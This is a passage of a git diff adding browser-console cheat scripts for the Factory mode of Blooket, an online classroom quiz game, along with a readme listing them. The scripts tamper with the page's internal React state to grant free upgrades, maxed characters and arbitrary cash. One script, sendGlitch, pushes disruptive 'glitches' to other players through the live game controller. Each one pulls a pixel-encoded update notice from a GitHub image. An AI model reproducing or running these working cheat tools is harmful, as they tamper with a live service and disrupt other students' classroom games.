3,2,2],price:[540,7e3,77e3,12e5]},{name:"Seal",color:"#7ca1d5",class:"❄️",rarity:"Common",cash:[6,17,150,1200,13e3],time:[2,2,2,2,2],price:[480,4500,43e3,52e4]},{name:"Arctic Fox",color:"#7ca1d5",class:"❄️",rarity:"Common",cash:[5,18,180,850,8500],time:[2,2,2,1,1],price:[520,550,61e3,68e4]},{name:"Snowy Owl",color:"#feda3f",class:"❄️",rarity:"Common",cash:[5,20,190,1900,16e3],time:[3,3,2,2,2],price:[370,5300,76e3,62e4]},{name:"Arctic Hare",color:"#7ca1d5",class:"❄️",rarity:"Common",cash:[6,19,85,900,7e3],time:[2,2,1,1,1],price:[540,5200,66e3,55e4]},{name:"Penguin",color:"#fb8640",class:"❄️",rarity:"Common",cash:[4,21,310,3200,33e3],time:[3,3,3,3,3],price:[400,6500,76e3,87e4]},{name:"Baby Penguin",color:"#414042",class:"❄️",rarity:"Common",cash:[3,8,70,450,2700],time:[1,1,1,1,1],price:[420,3300,33e3,23e4]},{name:"Polar Bear",color:"#7ca1d5",class:"❄️",rarity:"Common",cash:[12,75,700,6500,85e3],time:[8,7,6,5,5],price:[630,7e3,91e3,14e5]},{name:"Walrus",color:"#7d4f33",class:"❄️",rarity:"Common",cash:[11,46,420,3700,51e3],time:[5,5,4,4,4],price:[550,6200,68e3,1e6]},{name:"Tiger",color:"#f18221",class:"🌴",rarity:"Common",cash:[6,20,100,975,7500],time:[3,3,1,1,1],price:[390,6e3,7e4,61e4]},{name:"Jaguar",color:"#fbb040",class:"🌴",rarity:"Common",cash:[8,28,230,1600,17e3],time:[3,3,2,2,2],price:[390,6e3,7e4,61e4]},{name:"Toucan",color:"#ffca34",class:"🌴",rarity:"Common",cash:[9,20,175,625,3800],time:[2,2,2,1,1],price:[520,4800,42e3,3e5]},{name:"Cockatoo",color:"#7ca1d5",class:"🌴",rarity:"Common",cash:[6,35,160,1700,18e3],time:[4,4,2,2,2],price:[500,5e3,63e3,7e5]},{name:"Macaw",color:"#00aeef",class:"🌴",rarity:"Common",cash:[3,8,85,850,8500],time:[1,1,1,1,1],price:[480,5400,62e3,63e4]},{name:"Parrot",color:"#ed1c24",class:"🌴",rarity:"Common",cash:[3,9,90,900,9e3],time:[1,1,1,1,1],price:[540,5700,65e3,69e4]},{name:"Panther",color:"#2f2c38",class:"🌴",rarity:"Common",cash:[12,28,215,2100,21e3],time:[5,3,2,2,2],price:[530,6500,76e3,87e4]},{name:"Anaconda",color:"#8a9143",class:"🌴",rarity:"Common",cash:[3,15,85,1500,7600],time:[1,2,1,2,1],price:[410,5100,58e3,59e4]},{name:"Orangutan",color:"#bc6234",class:"🌴",rarity:"Common",cash:[13,52,570,4300,7e4],time:[5,5,5,4,4],price:[600,7e3,8e4,14e5]},{name:"Capuchin",color:"#e0b0a6",class:"🌴",rarity:"Common",cash:[4,14,160,780,8200],time:[2,2,2,1,1],price:[390,4700,57e3,68e4]},{name:"Elf",color:"#a7d054",class:"⚔️",rarity:"Uncommon",cash:[5e3,15e3,15e4,15e5,1e7],time:[1,1,1,1,1],price:[8e5,9e6,11e7,8e8]},{name:"Witch",color:"#4ab96d",class:"⚔️",rarity:"Uncommon",cash:[18e3,6e4,4e4,4e6,35e6],time:[3,3,2,2,2],price:[11e5,12e6,15e7,14e8]},{name:"Wizard",color:"#5a459c",class:"⚔️",rarity:"Uncommon",cash:[19500,65e3,44e4,46e5,4e6],time:[3,3,2,2,2],price:[13e5,135e5,16e7,16e8]},{name:"Fairy",color:"#df6d9c",class:"⚔️",rarity:"Uncommon",cash:[18500,6e4,62e4,44e5,38e6],time:[3,3,3,2,2],price:[12e5,125e5,15e6,15e8]},{name:"Slime Monster",color:"#2fa04a",class:"⚔️",rarity:"Uncommon",cash:[35e3,14e4,1e6,11e6,11e7],time:[5,5,4,4,4],price:[16e5,15e6,2e8,23e8]},{name:"Jester",color:"#be1e2d",class:"⚔️",rarity:"Rare",cash:[25e3,1e5,68e4,65e5,32e6],time:[3,3,2,2,1],price:[2e6,21e6,23e7,26e8]},{name:"Dragon",color:"#2fa04a",class:"⚔️",rarity:"Rare",cash:[36e3,15e4,15e5,15e6,15e7],time:[4,4,4,4,4],price:[23e5,24e6,27e7,3e9]},{name:"Unicorn",color:"#f6afce",class:"⚔️",rarity:"Epic",cash:[24e3,15e4,14e5,7e6,75e6],time:[2,2,2,1,1],price:[45e5,45e6,55e7,65e8]},{name:"Queen",color:"#9e1f63",class:"⚔️",rarity:"Rare",cash:[24e3,95e3,95e4,97e5,95e6],time:[3,3,3,3,3],price:[19e5,2e7,23e7,25e8]},{name:"King",color:"#ee2640",class:"⚔️",rarity:"Legendary",cash:[75e3,4e5,6e6,9e7,125e7],time:[5,5,5,5,5],price:[6e6,95e6,16e8,25e9]},{name:"Two of Spades",color:"#414042",class:"🏰",rarity:"Uncommon",cash:[4500,14e3,14e4,14e5,9e6],time:[1,1,1,1,1],price:[77e4,83e5,98e6,71e7]},{name:"Eat Me",color:"#d58c55",class:"🏰",rarity:"Uncommon",cash:[13e3,45e3,45e4,45e5,5e7],time:[2,2,2,2,2],price:[13e5,14e6,16e7,2e9]},{name:"Drink Me",color:"#dd7399",class:"🏰",rarity:"Uncommon",cash:[12e3,4e4,4e5,4e6,45e6],time:[2,2,2,2,2],price:[12e5,12e6,14e7,18e8]},{name:"Alice",color:"#4cc9f5",class:"🏰",rarity:"Uncommon",cash:[13e3,42e3,21e4,21e5,23e6],time:[2,2,1,1,1],price:[12e5,13e6,15e7,19e8]},{name:"Queen of Hearts",color:"#d62027",class:"🏰",rarity:"Uncommon",cash:[23e3,87e3,62e4,75e5,9e7],time:[4,4,3,3,3],price:[13e5,13e6,18e7,24e8]},{name:"Dormouse",color:"#89d6f8",class:"🏰",rarity:"Rare",cash:[17e3,68e3,7e5,35e5,35e6],time:[2,2,1,1,1],price:[2e6,22e6,25e7,28e8]},{name:"White Rabbit",color:"#ffcd05",class:"🏰",rarity:"Rare",cash:[26e3,105e3,11e6,77e5,72e6],time:[3,3,3,2,2],price:[2e6,23e6,28e7,29e8]},{name:"Cheshire Cat",color:"#dd7399",class:"🏰",rarity:"Rare",cash:[32e3,1e5,9e5,9e6,6e7],time:[4,3,3,3,2],price:[18e5,19e6,22e7,24e8]},{name:"Caterpillar",color:"#00c0f3",class:"🏰",rarity:"Epic",cash:[1e4,7e4,65e4,75e5,85e6],time:[1,1,1,1,1],price:[42e5,42e6,54e7,69e8]},{name:"Mad Hatter",color:"#914f93",class:"🏰",rarity:"Epic",cash:[38e3,25e4,15e5,14e6,8e7],time:[3,3,2,2,1],price:[48e5,48e6,52e7,66e8]},{name:"King of Hearts",color:"#c62127",class:"🏰",rarity:"Legendary",cash:[8e4,42e4,68e5,1e8,15e8],time:[5,5,5,5,5],price:[7e6,11e7,18e8,3e10]},{name:"Earth",color:"#416eb5",class:"🚀",rarity:"Uncommon",cash:[15e3,45e3,6e5,65e5,65e6],time:[3,3,3,3,3],price:[1e6,11e6,15e7,17e8]},{name:"Meteor",color:"#c68c3c",class:"🚀",rarity:"Uncommon",cash:[23e3,65e3,7e5,45e5,2e7],time:[5,4,3,2,1],price:[95e4,13e6,16e7,16e8]},{name:"Stars",color:"#19184d",class:"🚀",rarity:"Uncommon",cash:[1e4,4e4,2e5,2e6,18e6],time:[2,2,1,1,1],price:[14e5,14e6,15e7,15e8]},{name:"Alien",color:"#8dc63f",class:"🚀",rarity:"Uncommon",cash:[3e4,1e5,1e6,11e6,85e6],time:[4,4,4,4,4],price:[15e5,17e6,19e7,17e8]},{name:"Planet",color:"#9dc6ea",class:"🚀",rarity:"Rare",cash:[25e3,1e5,9e5,9e6,9e7],time:[3,3,3,3,3],price:[2e6,21e6,21e7,24e8]},{name:"UFO",color:"#a15095",class:"🚀",rarity:"Rare",cash:[17e3,7e4,7e5,7e6,7e7],time:[2,2,2,2,2],price:[21e5,23e6,25e7,28e8]},{name:"Spaceship",color:"#ffcb29",class:"🚀",rarity:"Epic",cash:[6e4,32e4,21e5,15e6,85e6],time:[5,4,3,2,1],price:[48e5,46e6,54e7,68e8]},{name:"Astronaut",color:"#9bd4ee",class:"🚀",rarity:"Legendary",cash:[45e3,26e4,25e5,38e6,55e7],time:[3,3,2,2,2],price:[65e5,1e8,17e8,27e9]},{name:"Lil Bot",color:"#3e564a",class:"🤖",rarity:"Uncommon",cash:[4e3,12e3,18e4,19e5,25e6],time:[1,1,1,1,1],price:[73e4,12e6,13e7,19e8]},{name:"Lovely Bot",color:"#f179af",class:"🤖",rarity:"Uncommon",cash:[16e3,65e3,65e4,48e5,42e6],time:[3,3,3,2,2],price:[13e5,14e6,17e7,16e8]},{name:"Angry Bot",color:"#f1613a",class:"🤖",rarity:"Uncommon",cash:[22e3,85e3,8e5,62e5,65e6],time:[4,4,4,3,3],price:[12e5,13e6,15e7,17e8]},{name:"Happy Bot",color:"#51ba6b",class:"🤖",rarity:"Uncommon",cash:[11e3,45e3,5e5,25e5,3e7],time:[2,2,2,1,1],price:[14e5,15e6,18e7,24e8]},{name:"Watson",color:"#d69b5a",class:"🤖",rarity:"Rare",cash:[24e3,1e5,1e6,1e7,1e8],time:[3,3,3,3,3],price:[2e6,22e6,24e7,26e8]},{name:"Buddy Bot",color:"#9dc6ea",class:"🤖",rarity:"Rare",cash:[22e3,95e3,65e4,65e5,65e6],time:[3,3,2,2,2],price:[19e5,21e6,23e7,25e8]},{name:"Brainy Bot",color:"#9ecf7a",class:"🤖",rarity:"Epic",cash:[5e4,25e4,21e5,21e6,17e7],time:[4,3,3,3,2],price:[5e6,46e6,5e8,67e8]},{name:"Mega Bot",color:"#d71f27",class:"🤖",rarity:"Legendary",cash:[8e4,43e4,42e5,62e6,1e9],time:[5,5,3,3,3],price:[7e6,12e7,19e8,35e9]}].find(function({name:e}){return e.toLowerCase()==this},prompt("Enter blook name:").toLowerCase());a?(10<=e.state.blooks.length&&alert("Choose a blook to replace"),e.chooseBlook(a)):alert("That is not a valid blook!")};let s=new Image;s.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/factory/chooseBlook.png?"+Date.now(),s.crossOrigin="Anonymous",s.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(s,0,0,this.width,this.height);let a=e.getImageData(0,0,this.width,this.height)["data"],c="",o;for(let e=0;e(s.src=null,t())})(); \ No newline at end of file diff --git a/cheats/factory/freeUpgrades.js b/cheats/factory/freeUpgrades.js new file mode 100644 index 0000000..2f2d797 --- /dev/null +++ b/cheats/factory/freeUpgrades.js @@ -0,0 +1,39 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState(state => ({ ...state, blooks: state.blooks.map(blook => ({ ...blook, price: [0, 0, 0, 0] })) })); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/factory/freeUpgrades.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271844 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/factory/freeUpgrades.min.js b/cheats/factory/freeUpgrades.min.js new file mode 100644 index 0000000..e0c7c02 --- /dev/null +++ b/cheats/factory/freeUpgrades.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tfreeUpgrades.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.setState(e=>({...e,blooks:e.blooks.map(e=>({...e,price:[0,0,0,0]}))}))};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/factory/freeUpgrades.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/factory/maxBlooks.js b/cheats/factory/maxBlooks.js new file mode 100644 index 0000000..77c31d1 --- /dev/null +++ b/cheats/factory/maxBlooks.js @@ -0,0 +1,38 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.blooks.forEach(blook => blook.level = 4); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/factory/maxBlooks.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271854 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/factory/maxBlooks.min.js b/cheats/factory/maxBlooks.min.js new file mode 100644 index 0000000..b54f6b7 --- /dev/null +++ b/cheats/factory/maxBlooks.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tmaxBlooks.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.blooks.forEach(o=>o.level=4)};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/factory/maxBlooks.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var o=document.createElement("canvas").getContext("2d");o.drawImage(l,0,0,this.width,this.height);let t=o.getImageData(0,0,this.width,this.height)["data"],e="",n;for(let o=0;o(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/factory/readme.md b/cheats/factory/readme.md new file mode 100644 index 0000000..319d6b8 --- /dev/null +++ b/cheats/factory/readme.md @@ -0,0 +1,21 @@ +# Factory Cheats + +## [Choose Blook](chooseBlook.js) +Gives you a blook +## [Free Upgrades](freeUpgrades.js) +Sets upgrade prices to 0 for all current blooks + +## [Max Blooks](maxBlooks.js) +Maxes out all your blooks' levels + +## [Remove Glitches](removeGlitches.js) +Removes all enemy glitches + +## [Send Glitch](sendGlitch.js) +Sends a random glitch + +## [Set All Mega Bot](setAllMegaBot.js) +Sets all your blooks to maxed out Mega Bots + +## [Set Cash](setCash.js) +Sets amount of cash you have \ No newline at end of file diff --git a/cheats/factory/removeGlitches.js b/cheats/factory/removeGlitches.js new file mode 100644 index 0000000..8682607 --- /dev/null +++ b/cheats/factory/removeGlitches.js @@ -0,0 +1,60 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ + bits: 0, + ads: [], + hazards: [], + color: "", + lol: false, + joke: false, + slow: false, + dance: false, + glitch: "", + glitcherName: "", + glitcherBlook: "" + }); + clearTimeout(stateNode.adTimeout); + clearInterval(stateNode.hazardInterval); + clearTimeout(stateNode.nightTimeout); + clearTimeout(stateNode.glitchTimeout); + clearTimeout(stateNode.lolTimeout); + clearTimeout(stateNode.jokeTimeout); + clearTimeout(stateNode.slowTimeout); + clearTimeout(stateNode.danceTimeout); + clearTimeout(stateNode.nameTimeout); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/factory/removeGlitches.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271857 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/factory/removeGlitches.min.js b/cheats/factory/removeGlitches.min.js new file mode 100644 index 0000000..e98b7e7 --- /dev/null +++ b/cheats/factory/removeGlitches.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let n=document.querySelector("iframe");n.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),n.contentWindow.console.log.call(window,"%c\tremoveGlitches.js","color: #0bc2cf; font-size: 1rem"),n.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const l=async()=>{var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.setState({bits:0,ads:[],hazards:[],color:"",lol:!1,joke:!1,slow:!1,dance:!1,glitch:"",glitcherName:"",glitcherBlook:""}),clearTimeout(e.adTimeout),clearInterval(e.hazardInterval),clearTimeout(e.nightTimeout),clearTimeout(e.glitchTimeout),clearTimeout(e.lolTimeout),clearTimeout(e.jokeTimeout),clearTimeout(e.slowTimeout),clearTimeout(e.danceTimeout),clearTimeout(e.nameTimeout)};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/factory/removeGlitches.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(i,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",a;for(let e=0;e(i.src=null,l())})(); \ No newline at end of file diff --git a/cheats/factory/sendGlitch.js b/cheats/factory/sendGlitch.js new file mode 100644 index 0000000..ec8cd3c --- /dev/null +++ b/cheats/factory/sendGlitch.js @@ -0,0 +1,47 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + let glitches = { lb: "Lunch Break", as: "Ad Spam", e37: "Error 37", nt: "Night Time", lo: "#LOL", j: "Jokester", sm: "Slow Mo", dp: "Dance Party", v: "Vortex", r: "Reverse", f: "Flip", m: "Micro" }; + let val = Object.keys(glitches)[Math.floor(Math.random() * Object.keys(glitches).length)]; + stateNode.safe = true; + stateNode.props.liveGameController.setVal({ path: `c/${stateNode.props.client.name}/tat`, val }); + alert(`Sent a ${glitches[val]} glitch`); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/factory/sendGlitch.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271862 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/factory/sendGlitch.min.js b/cheats/factory/sendGlitch.min.js new file mode 100644 index 0000000..fd66436 --- /dev/null +++ b/cheats/factory/sendGlitch.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tsendGlitch.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const l=async()=>{var e=document.createElement("iframe"),e=(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner)["stateNode"],t={lb:"Lunch Break",as:"Ad Spam",e37:"Error 37",nt:"Night Time",lo:"#LOL",j:"Jokester",sm:"Slow Mo",dp:"Dance Party",v:"Vortex",r:"Reverse",f:"Flip",m:"Micro"},o=Object.keys(t)[Math.floor(Math.random()*Object.keys(t).length)];e.safe=!0,e.props.liveGameController.setVal({path:`c/${e.props.client.name}/tat`,val:o}),alert(`Sent a ${t[o]} glitch`)};let s=new Image;s.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/factory/sendGlitch.png?"+Date.now(),s.crossOrigin="Anonymous",s.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(s,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(s.src=null,l())})(); \ No newline at end of file diff --git a/cheats/factory/setAllMegaBot.js b/cheats/factory/setAllMegaBot.js new file mode 100644 index 0000000..40e8cc3 --- /dev/null +++ b/cheats/factory/setAllMegaBot.js @@ -0,0 +1,51 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ + blooks: new Array(10).fill({ + name: "Mega Bot", + color: "#d71f27", + class: "🤖", + rarity: "Legendary", + cash: [8e4, 43e4, 42e5, 62e6, 1e9], + time: [5, 5, 3, 3, 3], + price: [7e6, 12e7, 19e8, 35e9], + active: false, + level: 4, + bonus: 5.5 + }) + }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/factory/setAllMegaBot.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271870 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/factory/setAllMegaBot.min.js b/cheats/factory/setAllMegaBot.min.js new file mode 100644 index 0000000..48a3ff1 --- /dev/null +++ b/cheats/factory/setAllMegaBot.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tsetAllMegaBot.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const l=async()=>{Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({blooks:new Array(10).fill({name:"Mega Bot",color:"#d71f27",class:"🤖",rarity:"Legendary",cash:[8e4,43e4,42e5,62e6,1e9],time:[5,5,3,3,3],price:[7e6,12e7,19e8,35e9],active:!1,level:4,bonus:5.5})})};let s=new Image;s.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/factory/setAllMegaBot.png?"+Date.now(),s.crossOrigin="Anonymous",s.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(s,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(s.src=null,l())})(); \ No newline at end of file diff --git a/cheats/factory/setCash.js b/cheats/factory/setCash.js new file mode 100644 index 0000000..94c6212 --- /dev/null +++ b/cheats/factory/setCash.js @@ -0,0 +1,42 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ cash: parseInt(prompt("How much cash would you like?")) }); + }); + let img = new Image; + img.src = 